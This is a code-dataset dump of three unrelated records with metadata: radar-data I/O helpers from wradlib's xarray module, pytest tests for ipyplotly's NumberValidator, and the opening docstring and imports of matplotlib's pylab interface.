np.argsort(data_list)\n    for idx in data_idx:\n        value = src[keys[idx]]\n        h5_data = dest.create_group(data_list[idx])\n        enc = value.encoding\n\n        # p. 21 ff\n        h5_what = h5_data.create_group(\"what\")\n        try:\n            undetect = float(value._Undetect)\n        except AttributeError:\n            undetect = np.finfo(np.float_).max\n        what = {\n            \"quantity\": value.name,\n            \"gain\": float(enc[\"scale_factor\"]),\n            \"offset\": float(enc[\"add_offset\"]),\n            \"nodata\": float(enc[\"_FillValue\"]),\n            \"undetect\": undetect,\n        }\n        _write_odim(what, h5_what)\n\n        # moments handling\n        val = value.sortby(\"azimuth\").values\n        fillval = enc[\"_FillValue\"] * enc[\"scale_factor\"]\n        fillval += enc[\"add_offset\"]\n        val[np.isnan(val)] = fillval\n        val = (val - enc[\"add_offset\"]) / enc[\"scale_factor\"]\n        val = np.rint(val).astype(enc[\"dtype\"])\n        ds = h5_data.create_dataset(\n            \"data\",\n            data=val,\n            compression=\"gzip\",\n            compression_opts=6,\n            fillvalue=enc[\"_FillValue\"],\n        )\n        if enc[\"dtype\"] == \"uint8\":\n            image = \"IMAGE\"\n            version = \"1.2\"\n            tid1 = h5py.h5t.C_S1.copy()\n            tid1.set_size(len(image) + 1)\n            H5T_C_S1_IMG = h5py.Datatype(tid1)\n            tid2 = h5py.h5t.C_S1.copy()\n            tid2.set_size(len(version) + 1)\n            H5T_C_S1_VER = h5py.Datatype(tid2)\n            ds.attrs.create(\"CLASS\", image, dtype=H5T_C_S1_IMG)\n            ds.attrs.create(\"IMAGE_VERSION\", version, dtype=H5T_C_S1_VER)\n\n\ndef _open_dataset(nch, grp=None, **kwargs):\n    \"\"\"Open netcdf4/hdf5 group as xarray dataset.\n\n    Parameters\n    ----------\n    nch : handle\n        netcdf4-file handle\n    grp : str\n        group to access\n\n    Returns\n    -------\n    nch : handle\n        xarray Dataset handle\n    \"\"\"\n    if grp is not None:\n        nch = nch.groups.get(grp, False)\n    if nch:\n        nch = xr.open_dataset(xr.backends.NetCDF4DataStore(nch), **kwargs)\n    return nch\n\n\ndef _get_gamic_ray_header(filename, scan):\n    \"\"\"Returns GAMIC ray header dictionary.\n\n    Parameters\n    ----------\n    filename : str\n        filename of GAMIC file\n    scan : int\n        Number of scan in file\n\n    Returns\n    -------\n    vars : dict\n        OrderedDict of ray header items\n    \"\"\"\n    # ToDo: move rayheader into own dataset\n    h5 = h5py.File(filename, mode=\"r\")\n    ray_header = h5[\"scan{}/ray_header\".format(scan)][:]\n    h5.close()\n    vars = collections.OrderedDict()\n    for name in ray_header.dtype.names:\n        rh = ray_header[name]\n        attrs = None\n        vars.update({name: ([\"dim_0\"], rh, attrs)})\n    return vars\n\n\ndef _get_odim_sweep_group_names(nch, name):\n    \"\"\"Return sweep names.\n\n    Returns source names and cfradial names.\n\n    Parameters\n    ----------\n    nch : handle\n        netCDF4 Dataset handle\n    name : str\n        Common part of source dataset names.\n\n    Returns\n    -------\n    src : list\n        list of source dataset names\n    swg_grp_name : list\n        list of corresponding cfradial sweep_group_name\n    \"\"\"\n    src = [key for key in nch.groups.keys() if name in key]\n    src.sort(key=lambda x: int(x[len(name) :]))\n    swp_grp_name = [\"sweep_{}\".format(i) for i in range(1, len(src) + 1)]\n    return src, swp_grp_name\n\n\ndef _get_odim_variables_moments(ds, moments=None, **kwargs):\n    \"\"\"Retrieve radar moments from dataset variables.\n\n    Parameters\n    ----------\n    ds : xarray dataset\n        source dataset\n    moments : list\n        list of moment strings\n\n    Returns\n    -------\n    ds : xarray Dataset\n        altered dataset\n    \"\"\"\n\n    standard = kwargs.get(\"standard\", \"cf-mandatory\")\n    mask_and_scale = kwargs.get(\"mask_and_scale\", True)\n    decode_coords = kwargs.get(\"decode_coords\", True)\n\n    # fix dimensions\n    dims = sorted(list(ds.dims.keys()), key=lambda x: int(x[len(\"phony_dim_\") :]))\n\n    ds = ds.rename({dims[0]: \"dim_0\", dims[1]: \"dim_1\"})\n\n    for mom in moments:\n        # open dataX dataset\n        dmom = ds[mom]\n        name = dmom.moment.lower()\n        if \"cf\" in standard and name not in GAMIC_NAMES.keys():\n            ds = ds.drop_vars(mom)\n            continue\n\n        # extract attributes\n        dmax = np.iinfo(dmom.dtype).max\n        dmin = np.iinfo(dmom.dtype).min\n        minval = dmom.dyn_range_min\n        maxval = dmom.dyn_range_max\n        dtype = minval.dtype\n        gain = (maxval - minval) / (dmax - 1)\n        offset = minval - gain\n\n        gain = gain.astype(dtype)\n        offset = offset.astype(dtype)\n        undetect = np.array([dmin])[0].astype(dtype)\n\n        # create attribute dict\n        attrs = collections.OrderedDict()\n        # clean moment attributes\n        if standard != \"none\":\n            dmom.attrs = collections.OrderedDict()\n\n        if standard in [\"odim\"]:\n            attrs[\"gain\"] = gain\n            attrs[\"offset\"] = offset\n            attrs[\"nodata\"] = undetect\n            attrs[\"undetect\"] = undetect\n\n        # add cfradial moment attributes\n        if \"cf\" in standard or mask_and_scale:\n            attrs[\"scale_factor\"] = gain\n            attrs[\"add_offset\"] = minval\n            attrs[\"_FillValue\"] = float(dmax)\n\n        if \"cf\" in standard or decode_coords:\n            attrs[\"coordinates\"] = \"elevation azimuth range\"\n\n        if \"full\" in standard:\n            attrs[\"_Undetect\"] = undetect\n\n        if \"cf\" in standard:\n            cfname = GAMIC_NAMES[name]\n            for k, v in moments_mapping[cfname].items():\n                attrs[k] = v\n            name = attrs.pop(\"short_name\")\n            attrs.pop(\"gamic\")\n\n        # assign attributes to moment\n        dmom.attrs.update(attrs)\n\n        # keep original dataset name\n        if standard != \"none\":\n            ds = ds.rename({mom: name.upper()})\n\n    return ds\n\n\ndef _get_odim_group_moments(nch, sweep, moments=None, **kwargs):\n    \"\"\"Retrieve radar moments from hdf groups.\n\n    Parameters\n    ----------\n    nch : netCDF Dataset handle\n    sweep : str\n        sweep key\n    moments : list\n        list of moment strings\n\n    Returns\n    -------\n    ds : dictionary\n        moment datasets\n    \"\"\"\n\n    standard = kwargs.get(\"standard\", \"cf-mandatory\")\n    mask_and_scale = kwargs.get(\"mask_and_scale\", True)\n    decode_coords = kwargs.get(\"decode_coords\", True)\n    chunks = kwargs.get(\"chunks\", None)\n\n    datas = {}\n    for mom in moments:\n        dmom_what = _open_dataset(nch[sweep][mom], \"what\", chunks=chunks)\n        name = dmom_what.attrs.pop(\"quantity\")\n        if \"cf\" in standard and name not in moments_mapping.keys():\n            continue\n        dsmom = _open_dataset(nch[sweep], mom, chunks=chunks)\n\n        # create attribute dict\n        attrs = collections.OrderedDict()\n\n        if standard in [\"odim\"]:\n            attrs.update(dmom_what.attrs)\n\n        # add cfradial moment attributes\n        if \"cf\" in standard or mask_and_scale:\n            attrs[\"scale_factor\"] = dmom_what.attrs.get(\"gain\")\n            attrs[\"add_offset\"] = dmom_what.attrs.get(\"offset\")\n            attrs[\"_FillValue\"] = dmom_what.attrs.get(\"nodata\")\n        if \"cf\" in standard or decode_coords:\n            attrs[\"coordinates\"] = \"elevation azimuth range\"\n        if \"cf\" in standard:\n            for k, v in moments_mapping[name].items():\n                attrs[k] = v\n            # drop short_name\n            attrs.pop(\"short_name\")\n            attrs.pop(\"gamic\")\n        if \"full\" in standard:\n            attrs[\"_Undetect\"] = dmom_what.attrs.get(\"undetect\")\n\n        # assign attributes\n        dmom = dsmom.data.assign_attrs(attrs)\n\n        # keep original dataset name\n        if standard == \"none\":\n            name = mom\n\n        # fix dimensions\n        dims = dmom.dims\n        datas.update({name: dmom.rename({dims[0]: \"dim_0\", dims[1]: \"dim_1\"})})\n    return datas\n\n\ndef _get_odim_groups(ncf, groups, **kwargs):\n    \"\"\"Get hdf groups.\n\n    Parameters\n    ----------\n    ncf : netCDf4 Dataset handle\n    groups : list\n        list of groups-keys\n\n    Returns\n    -------\n    out : tuple\n        tuple of xarray datasets\n    \"\"\"\n    return tuple(map(lambda x: _open_dataset(ncf, x, **kwargs), groups))\n\n\ndef _get_odim_moment_names(sweep, fmt=None, src=None):\n    \"\"\"Get moment names.\n\n    Parameters\n    ----------\n    sweep : netCDf4 Group handle\n    fmt : str\n        dataset descriptor format\n    src : str\n        dataset location\n\n    Returns\n    -------\n    out : :class:`numpy:numpy.ndarray`\n        array of moment names\n    \"\"\"\n    moments = [mom for mom in getattr(sweep, src).keys() if fmt in mom]\n    moments_idx = np.argsort([int(s[len(fmt) :]) for s in moments])\n    return np.array(moments)[moments_idx]\n\n\ndef _assign_odim_moments(ds, nch, sweep, **kwargs):\n    \"\"\"Assign radar moments to dataset.\n\n    Parameters\n    ----------\n    nch : netCDF4.Dataset handle\n        source netCDF4 Dataset\n    ds : xarray dataset\n        destination dataset\n    sweep : str\n        netcdf group name\n\n    Keyword Arguments\n    -----------------\n    decode_times : bool\n        If True, decode cf times to np.datetime64. Defaults to True.\n    decode_coords : bool\n        If True, use the \u2018coordinates\u2019 attribute on variable\n        to assign coordinates. Defaults to True.\n    mask_and_scale : bool\n        If True, lazily scale (using scale_factor and add_offset)\n        and mask (using _FillValue). Defaults to True.\n    georef : bool\n        If True, adds 2D AEQD x,y,z-coordinates, ground_range (gr) and\n        2D (rays,bins)-coordinates for easy georeferencing (eg. cartopy)\n    standard : str\n        * `none` - data is read as verbatim as possible, no metadata\n        * `odim` - data is read, odim metadata added to datasets\n        * `cf-mandatory` - data is read according to cfradial2 standard\n          importing mandatory metadata\n        * `cf-full` - data is read according to cfradial2 standard\n          importing all available cfradial2 metadata (not fully\n          implemented)\n\n    Returns\n    -------\n    ds : xarray dataset\n        Dataset with assigned radar moments\n    \"\"\"\n    moments = _get_odim_moment_names(nch.nch[sweep], fmt=nch._mfmt, src=nch._msrc)\n    if nch.flavour == \"ODIM\":\n        for name, dmom in _get_odim_group_moments(\n            nch.nch, sweep, moments=moments, **kwargs\n        ).items():\n            ds[name] = dmom\n    if nch.flavour == \"GAMIC\":\n        ds = _get_odim_variables_moments(ds, moments=moments, **kwargs)\n\n    return ds\n\n\ndef _get_odim_timevalues(nch, grps):\n    \"\"\"Retrieve TimeArray from source data.\n\n    Parameters\n    ----------\n    nch : netCDF4.Dataset handle\n        source netCDF4 Dataset\n    grps : dict\n        Dictionary of dataset hdf5 groups ('how', 'what', 'where')\n\n    Returns\n    -------\n    timevals : :class:`numpy:numpy.ndarray`\n            array of time values\n    \"\"\"\n    if nch.flavour == \"ODIM\":\n        try:\n            timevals = grps[\"how\"].odim.time_range\n        except (KeyError, AttributeError):\n            # timehandling if only start and end time is given\n            start, end = grps[\"what\"].odim.time_range2\n            if start == end:\n                warnings.warn(\n                    \"WRADLIB: Equal ODIM `starttime` and `endtime` \"\n                    \"values. Can't determine correct sweep start-, \"\n                    \"end- and raytimes.\",\n                    UserWarning,\n                )\n                timevals = np.ones(grps[\"where\"].nrays) * start\n            else:\n                delta = (end - start) / grps[\"where\"].nrays\n                timevals = np.arange(start + delta / 2.0, end, delta)\n                timevals = np.roll(timevals, shift=-grps[\"where\"].a1gate)\n    if nch.flavour == \"GAMIC\":\n        timevals = grps[\"what\"].gamic.time_range.values\n\n    return timevals\n\n\ndef _get_odim_coordinates(nch, grps):\n    \"\"\"Retrieve coordinates according OdimH5 standard.\n\n    Parameters\n    ----------\n    nch : netCDF4.Dataset handle\n        source netCDF4 Dataset\n    grps : dict\n        Dictionary of dataset hdf5 groups ('how', 'what', 'where')\n\n    Returns\n    -------\n    coords : dict\n        Dictionary of coordinate arrays\n    \"\"\"\n    flavour = nch.flavour.lower()\n    coords = collections.OrderedDict()\n    if flavour == \"odim\":\n        rng = grps[\"where\"]\n        az = el = grps[\"how\"]\n    if flavour == \"gamic\":\n        az = el = grps[\"what\"]\n        rng = grps[\"how\"]\n    try:\n        coords[\"azimuth\"] = getattr(az, flavour).azimuth_range\n        coords[\"elevation\"] = getattr(el, flavour).elevation_range\n    except (KeyError, AttributeError):\n        az = el = grps[\"where\"]\n        coords[\"azimuth\"] = getattr(az, flavour).azimuth_range2\n        coords[\"elevation\"] = getattr(el, flavour).elevation_range2\n    coords[\"range\"] = getattr(rng, flavour).radial_range\n\n    return coords\n\n\ndef _get_odim_sweep_mode(nch, grp):\n    \"\"\"Retrieve sweep mode\n\n    Parameters\n    ----------\n    nch : netCDF4.Dataset handle\n    grp : dict\n        Dictionary of dataset hdf5 groups ('how', 'what', 'where')\n\n    Returns\n    -------\n    out : str\n        'azimuth_surveillance' or 'rhi'\n\n    \"\"\"\n    odim_mode = grp[\"what\"].attrs[nch._swmode]\n    return \"rhi\" if odim_mode == \"RHI\" else \"azimuth_surveillance\"\n\n\ndef _get_odim_full_vars(nch, grps):\n    \"\"\"Retrieve available non mandatory variables from source data.\n\n    Parameters\n    ----------\n    nch : netCDF4.Dataset handle\n    grps : dict\n        Dictionary of dataset hdf5 groups ('how', 'what', 'where')\n\n    Returns\n    -------\n    full_vars : dict\n        full cf-variables\n    \"\"\"\n    full_vars = collections.OrderedDict()\n    if nch.flavour == \"ODIM\":\n        for k, v in cf_full_vars.items():\n            full_vars[k] = getattr(getattr(grps[\"how\"], nch.flavour.lower()), k)\n    if nch.flavour == \"GAMIC\":\n        pass\n\n    return full_vars\n\n\ndef _get_odim_fixed_angle(nch, grps):\n    \"\"\"Retrieve fixed angle from source data.\n\n    Parameters\n    ----------\n    nch : netCDF4.Dataset handle\n    grps : dict\n        Dictionary of dataset hdf5 groups ('how', 'what', 'where')\n\n    Returns\n    -------\n    fixed-angle : float\n        fixed angle of specific scan\n    \"\"\"\n    mode = _get_odim_sweep_mode(nch, grps)\n    if nch.flavour == \"ODIM\":\n        ang = {\"azimuth_surveillance\": \"elangle\", \"rhi\": \"azangle\"}\n        fixed_angle = getattr(grps[\"where\"], ang[mode])\n    if nch.flavour == \"GAMIC\":\n        ang = {\"azimuth_surveillance\": \"elevation\", \"rhi\": \"azimuth\"}\n        fixed_angle = grps[\"how\"].attrs[ang[mode]]\n    return fixed_angle\n\n\ndef _get_odim_root_attributes(nch, grps):\n    \"\"\"Retrieve root attributes according CfRadial2 standard.\n\n    Parameters\n    ----------\n    grps : dict\n        Dictionary of root hdf5 groups ('how', 'what', 'where')\n\n    Returns\n    -------\n    attrs : dict\n        Dictionary of root attributes\n    \"\"\"\n\n    attrs = collections.OrderedDict()\n    attrs.update(\n        {\n            \"version\": \"None\",\n            \"title\": \"None\",\n            \"institution\": \"None\",\n            \"references\": \"None\",\n            \"source\": \"None\",\n            \"history\": \"None\",\n            \"comment\": \"im/exported using wradlib\",\n            \"instrument_name\": \"None\",\n        }\n    )\n    attrs[\"version\"] = grps[\"what\"].attrs[\"version\"]\n\n    if nch.flavour == \"ODIM\":\n        attrs[\"institution\"] = grps[\"what\"].attrs[\"source\"]\n        attrs[\"instrument\"] = grps[\"what\"].attrs[\"source\"]\n    if nch.flavour == \"GAMIC\":\n        attrs[\"title\"] = grps[\"how\"].attrs[\"template_name\"]\n        attrs[\"instrument\"] = grps[\"how\"].attrs[\"host_name\"]\n\n    return attrs\n", "meta": {"hexsha": "07f996949be55d44f9ae04b41d7bb18016d88d14", "size": 162508, "ext": "py", "lang": "Python", "max_stars_repo_path": "wradlib/io/xarray.py", "max_stars_repo_name": "v4lli/wradlib", "max_stars_repo_head_hexsha": "bdaca237b0dd8575221fd9df7ee1561075e4d3a4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "wradlib/io/xarray.py", "max_issues_repo_name": "v4lli/wradlib", "max_issues_repo_head_hexsha": "bdaca237b0dd8575221fd9df7ee1561075e4d3a4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "wradlib/io/xarray.py", "max_forks_repo_name": "v4lli/wradlib", "max_forks_repo_head_hexsha": "bdaca237b0dd8575221fd9df7ee1561075e4d3a4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.6649246231, "max_line_length": 119, "alphanum_fraction": 0.5778177074, "include": true, "reason": "import numpy", "num_tokens": 39758, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4148988457967688, "lm_q2_score": 0.12765263859663167, "lm_q1q2_score": 0.05296293241665454}}
{"text": "import pytest\nfrom pytest import approx\n\nfrom ipyplotly.basevalidators import NumberValidator\nimport numpy as np\n\n\n# Fixtures\n# --------\n@pytest.fixture\ndef validator(request):\n    return NumberValidator('prop', 'parent')\n\n\n@pytest.fixture\ndef validator_min_max(request):\n    return NumberValidator('prop', 'parent', min=-1.0, max=2.0)\n\n\n@pytest.fixture\ndef validator_min(request):\n    return NumberValidator('prop', 'parent', min=-1.0)\n\n\n@pytest.fixture\ndef validator_max(request):\n    return NumberValidator('prop', 'parent', max=2.0)\n\n\n@pytest.fixture\ndef validator_aok():\n    return NumberValidator('prop', 'parent', min=-1, max=1.5, array_ok=True)\n\n\n# Array not ok\n# ------------\n# ### Acceptance ###\n@pytest.mark.parametrize('val',\n                         [1.0, 0.0, 1, -1234.5678, 54321, np.pi, np.nan, np.inf, -np.inf])\ndef test_acceptance(val, validator: NumberValidator):\n    assert validator.validate_coerce(val) == approx(val, nan_ok=True)\n\n\n# ### Rejection by value ###\n@pytest.mark.parametrize('val',\n                         ['hello', (), [], [1, 2, 3], set(), '34'])\ndef test_rejection_by_value(val, validator: NumberValidator):\n    with pytest.raises(ValueError) as validation_failure:\n        validator.validate_coerce(val)\n\n    assert 'Invalid value' in str(validation_failure.value)\n\n\n# ### With min/max ###\n@pytest.mark.parametrize('val',\n                         [0, 0.0, -0.5, 1, 1.0, 2, 2.0, np.pi/2.0])\ndef test_acceptance_min_max(val, validator_min_max: NumberValidator):\n    assert validator_min_max.validate_coerce(val) == approx(val)\n\n\n@pytest.mark.parametrize('val',\n                         [-1.01, -10, 2.1, 234, -np.inf, np.nan, np.inf])\ndef test_rejection_min_max(val, validator_min_max: NumberValidator):\n    with pytest.raises(ValueError) as validation_failure:\n        validator_min_max.validate_coerce(val)\n\n    assert 'in the interval [-1.0, 2.0]' in str(validation_failure.value)\n\n\n# ### With min only ###\n@pytest.mark.parametrize('val',\n                         [0, 0.0, -0.5, 99999, np.inf])\ndef test_acceptance_min(val, validator_min: NumberValidator):\n    assert validator_min.validate_coerce(val) == approx(val)\n\n\n@pytest.mark.parametrize('val',\n                         [-1.01, -np.inf, np.nan])\ndef test_rejection_min(val, validator_min: NumberValidator):\n    with pytest.raises(ValueError) as validation_failure:\n        validator_min.validate_coerce(val)\n\n    assert 'in the interval [-1.0, inf]' in str(validation_failure.value)\n\n\n# ### With max only ###\n@pytest.mark.parametrize('val',\n                         [0, 0.0, -np.inf, -123456, np.pi/2])\ndef test_acceptance_max(val, validator_max: NumberValidator):\n    assert validator_max.validate_coerce(val) == approx(val)\n\n\n@pytest.mark.parametrize('val',\n                         [2.01, np.inf, np.nan])\ndef test_rejection_max(val, validator_max: NumberValidator):\n    with pytest.raises(ValueError) as validation_failure:\n        validator_max.validate_coerce(val)\n\n    assert 'in the interval [-inf, 2.0]' in str(validation_failure.value)\n\n\n# Array ok\n# --------\n# ### Acceptance ###\n@pytest.mark.parametrize('val',\n                         [1.0, 0.0, 1, 0.4])\ndef test_acceptance_aok_scalars(val, validator_aok: NumberValidator):\n    assert validator_aok.validate_coerce(val) == val\n\n\n@pytest.mark.parametrize('val',\n                         [[1.0, 0.0], [1], [-0.1234, .41, -1.0]])\ndef test_acceptance_aok_list(val, validator_aok: NumberValidator):\n    assert np.array_equal(validator_aok.validate_coerce(val), np.array(val, dtype='float'))\n\n\n# ### Coerce ###\n#     Coerced to general consistent numeric type\n@pytest.mark.parametrize('val,expected',\n                         [([1.0, 0], np.array([1.0, 0.0])),\n                          (np.array([1, -1]), np.array([1.0, -1.0])),\n                          ([-0.1234, 0, -1], np.array([-0.1234, 0.0, -1.0]))])\ndef test_coercion_aok_list(val, expected, validator_aok: NumberValidator):\n    v = validator_aok.validate_coerce(val)\n    assert isinstance(v, np.ndarray)\n    assert v.dtype == 'float'\n    assert np.array_equal(v, expected)\n\n\n# ### Rejection ###\n#\n@pytest.mark.parametrize('val',\n                         [['a', 4]])\ndef test_rejection_aok(val, validator_aok: NumberValidator):\n    with pytest.raises(ValueError) as validation_failure:\n        validator_aok.validate_coerce(val)\n\n    assert 'Invalid value' in str(validation_failure.value)\n\n\n# ### Rejection by element ###\n@pytest.mark.parametrize('val',\n                         [[-1.6, 0.0], [1, 1.5, 2], [-0.1234, .41, np.nan],\n                          [0, np.inf], [0, -np.inf]])\ndef test_rejection_aok_min_max(val, validator_aok: NumberValidator):\n    with pytest.raises(ValueError) as validation_failure:\n        validator_aok.validate_coerce(val)\n\n    assert 'Invalid element(s)' in str(validation_failure.value)\n    assert 'in the interval [-1, 1.5]' in str(validation_failure.value)\n", "meta": {"hexsha": "bc927a1ea3e7aae0692779134af0f1700c50bdb5", "size": 4908, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/validators/test_number_validator.py", "max_stars_repo_name": "jmmease/ipyplotly", "max_stars_repo_head_hexsha": "498b6ad362c5ffdb5106f8ab3566af68eb7076d9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2017-12-20T21:19:05.000Z", "max_stars_repo_stars_event_max_datetime": "2018-04-25T20:19:46.000Z", "max_issues_repo_path": "test/validators/test_number_validator.py", "max_issues_repo_name": "jonmmease/ipyplotly", "max_issues_repo_head_hexsha": "498b6ad362c5ffdb5106f8ab3566af68eb7076d9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 11, "max_issues_repo_issues_event_min_datetime": "2018-01-19T17:14:27.000Z", "max_issues_repo_issues_event_max_datetime": "2018-02-20T00:02:40.000Z", "max_forks_repo_path": "test/validators/test_number_validator.py", "max_forks_repo_name": "jonmmease/ipyplotly", "max_forks_repo_head_hexsha": "498b6ad362c5ffdb5106f8ab3566af68eb7076d9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-05-26T10:48:14.000Z", "max_forks_repo_forks_event_max_datetime": "2020-05-26T10:48:14.000Z", "avg_line_length": 32.5033112583, "max_line_length": 91, "alphanum_fraction": 0.6422167889, "include": true, "reason": "import numpy", "num_tokens": 1231, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10669059323555341, "lm_q1q2_score": 0.05292854496674987}}
{"text": "\"\"\"\nThis is a procedural interface to the matplotlib object-oriented\nplotting library.\n\nThe following plotting commands are provided; the majority have\nMATLAB |reg| [*]_ analogs and similar arguments.\n\n.. |reg| unicode:: 0xAE\n\n_Plotting commands\n  acorr     - plot the autocorrelation function\n  annotate  - annotate something in the figure\n  arrow     - add an arrow to the axes\n  axes      - Create a new axes\n  axhline   - draw a horizontal line across axes\n  axvline   - draw a vertical line across axes\n  axhspan   - draw a horizontal bar across axes\n  axvspan   - draw a vertical bar across axes\n  axis      - Set or return the current axis limits\n  autoscale - turn axis autoscaling on or off, and apply it\n  bar       - make a bar chart\n  barh      - a horizontal bar chart\n  broken_barh - a set of horizontal bars with gaps\n  box       - set the axes frame on/off state\n  boxplot   - make a box and whisker plot\n  violinplot - make a violin plot\n  cla       - clear current axes\n  clabel    - label a contour plot\n  clf       - clear a figure window\n  clim      - adjust the color limits of the current image\n  close     - close a figure window\n  colorbar  - add a colorbar to the current figure\n  cohere    - make a plot of coherence\n  contour   - make a contour plot\n  contourf  - make a filled contour plot\n  csd       - make a plot of cross spectral density\n  delaxes   - delete an axes from the current figure\n  draw      - Force a redraw of the current figure\n  errorbar  - make an errorbar graph\n  figlegend - make legend on the figure rather than the axes\n  figimage  - make a figure image\n  figtext   - add text in figure coords\n  figure   - create or change active figure\n  fill     - make filled polygons\n  findobj  - recursively find all objects matching some criteria\n  gca      - return the current axes\n  gcf      - return the current figure\n  gci      - get the current image, or None\n  getp      - get a graphics property\n  grid     - set whether gridding is on\n  hist     - make a histogram\n  hold     - set the axes hold state\n  ioff     - turn interaction mode off\n  ion      - turn interaction mode on\n  isinteractive - return True if interaction mode is on\n  imread   - load image file into array\n  imsave   - save array as an image file\n  imshow   - plot image data\n  ishold   - return the hold state of the current axes\n  legend   - make an axes legend\n  locator_params - adjust parameters used in locating axis ticks\n  loglog   - a log log plot\n  matshow  - display a matrix in a new figure preserving aspect\n  margins  - set margins used in autoscaling\n  pause    - pause for a specified interval\n  pcolor   - make a pseudocolor plot\n  pcolormesh - make a pseudocolor plot using a quadrilateral mesh\n  pie      - make a pie chart\n  plot     - make a line plot\n  plot_date - plot dates\n  plotfile  - plot column data from an ASCII tab/space/comma delimited file\n  pie      - pie charts\n  polar    - make a polar plot on a PolarAxes\n  psd      - make a plot of power spectral density\n  quiver   - make a direction field (arrows) plot\n  rc       - control the default params\n  rgrids   - customize the radial grids and labels for polar\n  savefig  - save the current figure\n  scatter  - make a scatter plot\n  setp      - set a graphics property\n  semilogx - log x axis\n  semilogy - log y axis\n  show     - show the figures\n  specgram - a spectrogram plot\n  spy      - plot sparsity pattern using markers or image\n  stem     - make a stem plot\n  subplot  - make one subplot (numrows, numcols, axesnum)\n  subplots - make a figure with a set of (numrows, numcols) subplots\n  subplots_adjust - change the params controlling the subplot positions of current figure\n  subplot_tool - launch the subplot configuration tool\n  suptitle   - add a figure title\n  table    - add a table to the plot\n  text     - add some text at location x,y to the current axes\n  thetagrids - customize the radial theta grids and labels for polar\n  tick_params - control the appearance of ticks and tick labels\n  ticklabel_format - control the format of tick labels\n  title    - add a title to the current axes\n  tricontour - make a contour plot on a triangular grid\n  tricontourf - make a filled contour plot on a triangular grid\n  tripcolor - make a pseudocolor plot on a triangular grid\n  triplot - plot a triangular grid\n  xcorr   - plot the autocorrelation function of x and y\n  xlim     - set/get the xlimits\n  ylim     - set/get the ylimits\n  xticks   - set/get the xticks\n  yticks   - set/get the yticks\n  xlabel   - add an xlabel to the current axes\n  ylabel   - add a ylabel to the current axes\n\n  autumn - set the default colormap to autumn\n  bone   - set the default colormap to bone\n  cool   - set the default colormap to cool\n  copper - set the default colormap to copper\n  flag   - set the default colormap to flag\n  gray   - set the default colormap to gray\n  hot    - set the default colormap to hot\n  hsv    - set the default colormap to hsv\n  jet    - set the default colormap to jet\n  pink   - set the default colormap to pink\n  prism  - set the default colormap to prism\n  spring - set the default colormap to spring\n  summer - set the default colormap to summer\n  winter - set the default colormap to winter\n  spectral - set the default colormap to spectral\n\n_Event handling\n\n  connect - register an event handler\n  disconnect - remove a connected event handler\n\n_Matrix commands\n\n  cumprod   - the cumulative product along a dimension\n  cumsum    - the cumulative sum along a dimension\n  detrend   - remove the mean or besdt fit line from an array\n  diag      - the k-th diagonal of matrix\n  diff      - the n-th differnce of an array\n  eig       - the eigenvalues and eigen vectors of v\n  eye       - a matrix where the k-th diagonal is ones, else zero\n  find      - return the indices where a condition is nonzero\n  fliplr    - flip the rows of a matrix up/down\n  flipud    - flip the columns of a matrix left/right\n  linspace  - a linear spaced vector of N values from min to max inclusive\n  logspace  - a log spaced vector of N values from min to max inclusive\n  meshgrid  - repeat x and y to make regular matrices\n  ones      - an array of ones\n  rand      - an array from the uniform distribution [0,1]\n  randn     - an array from the normal distribution\n  rot90     - rotate matrix k*90 degress counterclockwise\n  squeeze   - squeeze an array removing any dimensions of length 1\n  tri       - a triangular matrix\n  tril      - a lower triangular matrix\n  triu      - an upper triangular matrix\n  vander    - the Vandermonde matrix of vector x\n  svd       - singular value decomposition\n  zeros     - a matrix of zeros\n\n_Probability\n\n  normpdf   - The Gaussian probability density function\n  rand      - random numbers from the uniform distribution\n  randn     - random numbers from the normal distribution\n\n_Statistics\n\n  amax      - the maximum along dimension m\n  amin      - the minimum along dimension m\n  corrcoef  - correlation coefficient\n  cov       - covariance matrix\n  mean      - the mean along dimension m\n  median    - the median along dimension m\n  norm      - the norm of vector x\n  prod      - the product along dimension m\n  ptp       - the max-min along dimension m\n  std       - the standard deviation along dimension m\n  asum      - the sum along dimension m\n  ksdensity - the kernel density estimate\n\n_Time series analysis\n\n  bartlett  - M-point Bartlett window\n  blackman  - M-point Blackman window\n  cohere    - the coherence using average periodiogram\n  csd       - the cross spectral density using average periodiogram\n  fft       - the fast Fourier transform of vector x\n  hamming   - M-point Hamming window\n  hanning   - M-point Hanning window\n  hist      - compute the histogram of x\n  kaiser    - M length Kaiser window\n  psd       - the power spectral density using average periodiogram\n  sinc      - the sinc function of array x\n\n_Dates\n\n  date2num  - convert python datetimes to numeric representation\n  drange    - create an array of numbers for date plots\n  num2date  - convert numeric type (float days since 0001) to datetime\n\n_Other\n\n  angle     - the angle of a complex array\n  griddata  - interpolate irregularly distributed data to a regular grid\n  load      - Deprecated--please use loadtxt.\n  loadtxt   - load ASCII data into array.\n  polyfit   - fit x, y to an n-th order polynomial\n  polyval   - evaluate an n-th order polynomial\n  roots     - the roots of the polynomial coefficients in p\n  save      - Deprecated--please use savetxt.\n  savetxt   - save an array to an ASCII file.\n  trapz     - trapezoidal integration\n\n__end\n\n.. [*] MATLAB is a registered trademark of The MathWorks, Inc.\n\n\n\"\"\"\nfrom __future__ import (absolute_import, division, print_function,\n                        unicode_literals)\n\nimport six\n\nimport sys, warnings\n\nfrom matplotlib.cbook import flatten, is_string_like, exception_to_str, \\\n     silent_list, iterable, dedent\n\nimport matplotlib as mpl\n# make mpl.finance module available for backwards compatability, in case folks\n# using pylab interface depended on not having to import it\nimport matplotlib.finance\n\nfrom matplotlib.dates import date2num, num2date,\\\n        datestr2num, strpdate2num, 